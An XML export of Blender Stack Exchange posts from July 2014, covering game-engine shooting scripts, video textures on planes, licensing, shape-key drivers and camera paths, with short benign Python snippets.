  <row Id="13887" PostTypeId="2" ParentId="13790" CreationDate="2014-07-09T21:29:15.807" Score="6" Body="&lt;p&gt;You can use a bit of Python to get started, without knowing your exact implementation of the weapon system, i can't give you the full code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get vector from centre of screen&#xA;cam = logic.getCurrentScene().active_camera&#xA;# vector in world space&#xA;vect = cam.getScreenVect(0.5, 0.5)&#xA;# get length of vect&#xA;length = -cam.position[2]/vect[2]&#xA;p = vect * length&#xA;# position of p (somewhat ahead of camera)&#xA;pos = cam.position + p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that, you should be able to either ray cast the bullet, or have it go toward that direction.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-09T21:29:15.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13888" PostTypeId="1" CreationDate="2014-07-09T21:32:40.240" Score="6" ViewCount="8354" Body="&lt;p&gt;Can I use a video to texture a plane so I can use it as a reference for animating? It is important that I can view the texture without rendering the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; After loading an image as empty, I can't access the controls to Match Movie Length or Auto Refresh &#xA;&lt;img src=&quot;https://i.stack.imgur.com/DsUcH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uk1AV.png&quot; alt=&quot;enter image description here&quot;&gt;!]&lt;a href=&quot;https://i.stack.imgur.com/DsUcH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5136" LastEditorDisplayName="user1853" LastEditDate="2014-07-15T05:34:12.543" LastActivityDate="2021-02-15T10:33:27.810" Title="How to use a video as a reference on a plane?" Tags="&lt;texturing&gt;&lt;video&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13889" PostTypeId="2" ParentId="13888" CreationDate="2014-07-09T21:49:24.950" Score="3" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;In cycles you'll have to put the video into the material nodes of your plane with an &lt;em&gt;Image texture&lt;/em&gt; node.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your plane&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV Unwrap it (&lt;kbd&gt;U&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new material and add a texture node. Click &lt;em&gt;Open&lt;/em&gt; and select your video file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Auto refresh&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to textured view and ensure the image texture node is active (last selected).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-09T23:55:58.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13891" PostTypeId="2" ParentId="13888" CreationDate="2014-07-09T22:04:29.787" Score="3" Body="&lt;h2&gt;Blender Internal&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unwrap your plane&lt;/li&gt;&#xA;&lt;li&gt;add an image texture.&lt;/li&gt;&#xA;&lt;li&gt;Change the view mode to textured&lt;img src=&quot;https://i.stack.imgur.com/aNNEY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;N&lt;/kbd&gt; to open the tool bar, and under shading, change the type to GLSL&#xA;&lt;img src=&quot;https://i.stack.imgur.com/23c1A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the texture properties, hit the Match Movie Length button.&lt;/li&gt;&#xA;&lt;li&gt;Check auto refresh.&lt;/li&gt;&#xA;&lt;li&gt;Set the Mapping to UV, and select your UV map.&#xA;Here is a picture of the settings:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFe68.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-09T22:04:29.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13892" PostTypeId="1" AcceptedAnswerId="14059" CreationDate="2014-07-09T22:28:46.107" Score="0" ViewCount="814" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to ask if I have to disclose my source code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;having condition of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I use my own &lt;strong&gt;MODIFIED&lt;/strong&gt; blender as world editor, level editor, game content creation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am not selling my own modified blender, I am the only one who will use it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I have other game engine that will load the things I made in the blender.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, if the answer is YES, can I just make a plugin using python so that I can accomplish the list above and not be required to disclose my source code of my created game and my &lt;strong&gt;modified&lt;/strong&gt; blender?&lt;/p&gt;&#xA;" OwnerUserId="3271" LastEditorUserId="3271" LastEditDate="2014-07-09T22:46:56.440" LastActivityDate="2018-09-16T00:39:23.350" Title="Blender use as world editor, level editor..etc, License problem?" Tags="&lt;modeling&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-07-15T00:39:11.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="13893" PostTypeId="1" CreationDate="2014-07-09T22:44:31.427" Score="0" ViewCount="216" Body="&lt;p&gt;New Blender user here and I'm trying out a few projects which I judged as &quot;easy&quot; to accomplish, but I'm running into a few hitches at getting exactly what I'm looking for. I want to create an animation in which thick 2-D letters retract onto 1-D skeletons via certain drawn edges between vertices in the 2-D and 1-D meshes. The animation will begin with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/smhhm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the 2-D letters will retract onto the bold 1-D letters, i.e. the edges connecting them just become smaller and smaller until the 2-D mesh is overlapping the 1-D mesh so the final image would be showing just the bold thin inner letters. Also, when I say &quot;2-D&quot; and &quot;1-D&quot; what I mean is the thicker 2-D letters will have a face between the vertices while the thin 1-D letters will just consist of edges and vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial idea was to be able to manipulate the meshes of the text, but I am not aware how to do that as edit mode doesn't allow me to do anything but type. I planned on just extruding some vertices from the outline mesh of the 2-D letters and then merging them, creating something like the picture, but I don't exactly want to do all of that manually since it would not look good. Is there a way to accomplish this using Blender's tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also sure that is not the best way to accomplish what I'm wanting to do, and the thin inner letters don't have to be actually 1-dimensional, just thin enough to give the appearance on rendering. It almost would look like beveling a really thin font I suppose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I am now trying to do this only with the letter C, since A and B having holes makes them tricky. Currently, I have just extruded the mesh of the letter out like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVTA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool to collapse the vertices on border of the front C so they form the shape of the thinner bold C as shown in the picture up top? This may just be too advanced for Blender, but I am not familiar with all of the tools enough to know whether this is the case. &lt;/p&gt;&#xA;" OwnerUserId="5137" LastEditorUserId="5137" LastEditDate="2014-07-10T20:23:27.620" LastActivityDate="2014-10-09T02:02:07.483" Title="How to Create 2-D to 1-D Text Retraction Animation" Tags="&lt;mesh&gt;&lt;text-object&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13894" PostTypeId="1" CreationDate="2014-07-09T22:50:15.447" Score="4" ViewCount="1870" Body="&lt;p&gt;At what point does the backwards compatibility of blender break, and for what features? I know if I open a 2.49 blend file in 2.7x it will not have the animation data. I heard that 2.7x would break some features of old blender files, so is there a list anywhere of feature compatibility?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-10T14:16:23.053" Title="What is the backwards compatibility of blender?" Tags="&lt;blend-files&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13896" PostTypeId="2" ParentId="13888" CreationDate="2014-07-09T23:35:08.587" Score="5" Body="&lt;p&gt;&lt;strong&gt;Tha lazy way to do this&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Works for Cycles and Blender Render)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;Kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to open the User Preferences and press on the Addons Tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the &quot;Import Images as Planes&quot; addon&lt;img src=&quot;https://i.stack.imgur.com/2ZBjD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3D view press &lt;Kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and find Mesh-&gt;Images As Planes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cuftl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the video you need. (Note that there are some options on the left for the texturing of the plane).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cbLH1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plane will be created with the proportions of the imported video, UV unwrapped and already textured with the chosen image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZloQW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that is left to do is enable &lt;strong&gt;Auto Refresh&lt;/strong&gt; on the texture nodes so the video updates as you scroll down the time line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ICRGH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The texture on the Plane will be visible only when the shading in the 3D viewport is set to Textured, Material and Rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCVIy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-15T00:13:16.227" LastActivityDate="2014-07-15T00:13:16.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13897" PostTypeId="2" ParentId="13888" CreationDate="2014-07-10T00:30:42.973" Score="14" Body="&lt;p&gt;A different approach involves not using a plane at all but an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Empties&quot; rel=&quot;noreferrer&quot;&gt;empty as an image:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rM2Xi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the image in the properties-&gt;Empty-&gt;Display tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xgbkc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &lt;strong&gt;match movie length&lt;/strong&gt; and enable &lt;strong&gt;Auto Refresh&lt;/strong&gt;&#xA;You should see the number change in the Frames box on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BrSNR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll get your image (or video) in an empty. The advantage of this method is that your image will be visible even in when the 3D viewport shading is set to wireframe or bounding box. Note that empties will not be rendered on the final render...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yvmd9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-15T03:14:10.970" LastActivityDate="2014-07-15T03:14:10.970" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13898" PostTypeId="1" AcceptedAnswerId="13927" CreationDate="2014-07-10T03:09:24.883" Score="13" ViewCount="6997" Body="&lt;p&gt;I'd like to do an animation where a globe will unwrap it's texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go from this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAqOb.png&quot; alt=&quot;3d sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0e7pf.png&quot; alt=&quot;flattened sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;, but in 3D space, so it will look exactly as its unwrapped form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only methods I have on mind are extremely tedious, anyone there more clever than I care to give a hint on how to achieve the effect?&lt;/p&gt;&#xA;" OwnerUserId="5141" LastActivityDate="2019-03-22T19:33:12.133" Title="Morph targets: A sphere shape turning into a cylindrical unwrapped sphere shape" Tags="&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13899" PostTypeId="1" AcceptedAnswerId="13917" CreationDate="2014-07-10T03:43:39.783" Score="7" ViewCount="13847" Body="&lt;p&gt;I'm facing a problem with the installation of a downloaded addon. I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;ALt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt; to access preferences panel in addons I select INSTALL FROM FILE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xCe8x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a choose caliper script and press INSTALL FROM FILE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uc5eZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I go back to the preferences panel and type CALIPER in search bar to find a new installed caliper addons to activate it no such addons among installed !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hJR2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5142" LastEditorDisplayName="user1853" LastEditDate="2014-07-10T16:09:21.537" LastActivityDate="2019-07-07T18:52:17.573" Title="&quot;Install from File&quot; not working to install addon" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13900" PostTypeId="2" ParentId="13894" CreationDate="2014-07-10T04:02:45.503" Score="-3" Body="&lt;p&gt;What you're talking about is forward compatibility. Backward compatibility is the ability to open files in older versions of the product.&lt;br/&gt;&#xA;The release notes should give you a hint as to both, but it's always safest to assume neither exists.&lt;br/&gt;&#xA;AFAIK the Blender team doesn't guarantee either between even minor releases, let along the large step from the 2.4 branch to the 2.7 branch.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-07-10T04:02:45.503" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13901" PostTypeId="1" AcceptedAnswerId="13904" CreationDate="2014-07-10T04:25:27.563" Score="8" ViewCount="45095" Body="&lt;p&gt;Is there any way to use paste in edit mode, because in edit mode &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; is replaced by the vertices menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can copy things fine but it is impossible to paste. Of course I could use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate but is there a way to copy?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1363" LastEditDate="2014-07-17T13:30:19.613" LastActivityDate="2018-07-22T16:13:23.807" Title="Is it possible to paste in edit mode?" Tags="&lt;workflow&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13902" PostTypeId="2" ParentId="13872" CreationDate="2014-07-10T08:30:45.177" Score="0" Body="&lt;p&gt;It seems that I found the solution at a unlikely &lt;a href=&quot;http://answers.unity3d.com/questions/183143/blender-problems.html&quot; rel=&quot;nofollow&quot;&gt;place&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;in object mode, select all the meshes (press A), press CONTROL-A (apply menu), then select APPLY ROTATION, then again APPLY TRANSLATION, then APPLY SCALE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After these steps, exporting the mesh and opening it with Meshlab, I can finally see that the mesh file has the proper dimensions.&lt;/p&gt;&#xA;" OwnerUserId="5126" LastActivityDate="2014-07-10T08:30:45.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13903" PostTypeId="2" ParentId="13790" CreationDate="2014-07-10T08:54:34.587" Score="2" Body="&lt;p&gt;This is a nice, simple way I do it for FPS style games in Blender: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent an empty to the camera (move it to the camera position using Shift S and move it in front of the cam). This is your 'gun fire' object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another layer, create a bullet object. On your gun or character, add an integer property called ammo if required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your gun empty, add an Always sensor, Ray sensor and Mouse (or keyboard) sensor for firing. Set the ray distance and direction. Leave the Property field blank. Add a python script brick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ray sensor has a number of attributes you can use, namely hitObject, hitPosition, and hitNormal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This very simple script will deplete ammo etc when the fire button is pushed and will place a projectile object at the hitObject, IF there is an object coliding with the Ray. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;&#xA;def main():&#xA;&#xA;    cont = bge.logic.getCurrentController()&#xA;    own = cont.owner&#xA;    scene = bge.logic.getCurrentScene()&#xA;&#xA;    ray = cont.sensors['Ray']&#xA;    fire = cont.sensors['Mouse'] &#xA;&#xA;    hitobj = ray.hitObject&#xA;    hitpos = ray.hitPosition&#xA;&#xA;    if fire.positive: #is the fire key pressed&#xA;        own ['ammo'] -= 1 #reduce ammo by 1&#xA;        if (hitobj): #IS THERE SOMETHING COLLIDING WITH THE RAY?&#xA;             bullet = scene.addObject (&quot;bullet&quot;, hitobj, 3) #place object called bullet at the center of the hitobject&#xA;             bullet.worldPosition = hitpos #place bullet at the exact point the ray hits the hitobject&#xA;&#xA;&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5146" LastEditorUserId="2217" LastEditDate="2014-07-17T19:53:36.047" LastActivityDate="2014-07-17T19:53:36.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13904" PostTypeId="2" ParentId="13901" CreationDate="2014-07-10T10:52:54.277" Score="6" Body="&lt;p&gt;You can invoke copy and paste using the &lt;kbd&gt;Spacebar&lt;/kbd&gt; menu (it shows &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; as shortcut for paste, but as you said that doesn't work). Simply press &lt;kbd&gt;Space&lt;/kbd&gt; and search for &lt;code&gt;copy&lt;/code&gt; and &lt;code&gt;paste&lt;/code&gt; and use the appropriate entries from the list.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As pointed out by GiantCowFilms, the copy / paste functions work at object level. So even if you use them in edit mode, the whole object gets duplicated and not your selection!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because you can use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate, there seems to be no need for copy and paste.&lt;/p&gt;&#xA;" OwnerUserId="633" LastEditorUserId="633" LastEditDate="2016-02-01T19:19:09.207" LastActivityDate="2016-02-01T19:19:09.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13905" PostTypeId="1" AcceptedAnswerId="13907" CreationDate="2014-07-10T11:04:38.307" Score="5" ViewCount="1145" Body="&lt;p&gt;how can i add a driver for a shapekey via python? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shape_keys.animation_data.driver_button_add(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj=bpy.context.active_object&#xA;obj.driver_add('key_blocks[&quot;Eye_left&quot;].value')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Problem is that it can't find the shape key and shape keys are getting their driver with a different method; so I'm a bit confused how it can be added by python correctly.&#xA;Sorry I'm new to Python. Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="5148" LastActivityDate="2014-07-10T12:56:38.593" Title="add driver for a shapekey via python?" Tags="&lt;python&gt;&lt;animation&gt;&lt;drivers&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13906" PostTypeId="1" CreationDate="2014-07-10T12:27:07.607" Score="6" ViewCount="942" Body="&lt;p&gt;&lt;strong&gt;Situation&lt;/strong&gt;: I wanted to render a scene which is made up of a few flowers model in the foreground, and in the background, I have a grass particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: Whenever I tried to render, there seems to be a bug which looks like the image below. It's as if a part of the grass is displayed over the flowers, which should've been in the background. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying over, I found that one solution is to turn off 'strand render' under render settings on the particle system of the grass. That way, I wouldn't see those overlaying grass effect. However, when I turn it off, I would have a different result for my grass and it doesn't look good at all.&#xA;Here is my Blend file: &lt;a href=&quot;http://www.pasteall.org/blend/30319&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30319&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, my blend file is too big to be uploaded so I deleted some settings and objects in order to have as minimum size as possible. I used just a plane on the blend file above. but as you can see the problem still applies. When we render, there are a few traces of grass over the plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TtKQ2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5110" LastEditorUserId="5110" LastEditDate="2014-07-10T16:41:15.600" LastActivityDate="2019-02-05T21:41:11.910" Title="Particles render in front of other objects" Tags="&lt;rendering&gt;&lt;particles&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13907" PostTypeId="2" ParentId="13905" CreationDate="2014-07-10T12:56:38.593" Score="7" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;driver = obj.data.shape_keys.key_blocks['Key 1'].driver_add(&quot;value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-10T12:56:38.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13908" PostTypeId="1" AcceptedAnswerId="13915" CreationDate="2014-07-10T13:26:12.327" Score="5" ViewCount="4309" Body="&lt;p&gt;I am trying to let my camera move along a path. The method to first select the camera, then the path and then use &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Follow Path&lt;/em&gt; works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I select the object, go to &lt;em&gt;Object Constraints&lt;/em&gt; and add a &lt;em&gt;Follow Path&lt;/em&gt; constraint, the behavior is not the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly, in the second procedure my object jumps to a different position once I added the constraint. Why is that and what is the difference between both methods?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastEditorUserId="2217" LastEditDate="2014-10-02T23:59:41.970" LastActivityDate="2014-10-02T23:59:41.970" Title="Difference between Ctrl P &gt; Follow Path and Add Object Constraint" Tags="&lt;animation&gt;&lt;objects&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13909" PostTypeId="2" ParentId="13898" CreationDate="2014-07-10T13:28:09.073" Score="5" Body="&lt;p&gt;A simple script which transforms vertices to their uv-coordinates (does not rip the geometry!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;uv = mesh.uv_layers.active&#xA;shape_key = mesh.shape_keys.key_blocks[obj.active_shape_key_index]&#xA;&#xA;for index, loop in enumerate(uv.data):&#xA;    vertex = shape_key.data[mesh.loops[index].vertex_index]&#xA;    vertex.co = Vector((loop.uv.x, loop.uv.y, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can rip the geometry manually:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the UV Editor select an island and run &lt;code&gt;Seams From Island&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select a seam edge and press &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; -&gt; Seam, to select all seams.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; -&gt; Edge Split.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-07-10T14:44:38.340" LastActivityDate="2014-07-10T14:44:38.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13910" PostTypeId="1" CreationDate="2014-07-10T13:38:14.287" Score="0" ViewCount="1995" Body="&lt;p&gt;&lt;strong&gt;What I want:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a model of a room with several objects in it. I want to see the objects in the room from several camera positions on three of the four walls. Basically, I want to let my camera follow predefined paths along these walls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I did:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not figure out how to make a path looking like an open rectangle, so I decided to create three different paths, one for each of the three walls. I managed to let my camera follow one of the paths nicely. However, I do not manage to let my camera jump to the next path/wall once its done with the previous one. According to this thread &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?204414-Follow-one-path-after-another-in-Blender-2-5&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?204414-Follow-one-path-after-another-in-Blender-2-5&lt;/a&gt; it should work with object constraints and the influence value, but since the blender file given there is not available anymore, I can't figure out how to do it. So, how would you animate the camera for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastEditorUserId="2217" LastEditDate="2014-10-02T23:55:37.700" LastActivityDate="2014-10-02T23:55:37.700" Title="Letting the camera move along different paths" Tags="&lt;animation&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="4" ClosedDate="2014-07-24T08:25:12.670" ContentLicense="CC BY-SA 3.0" />
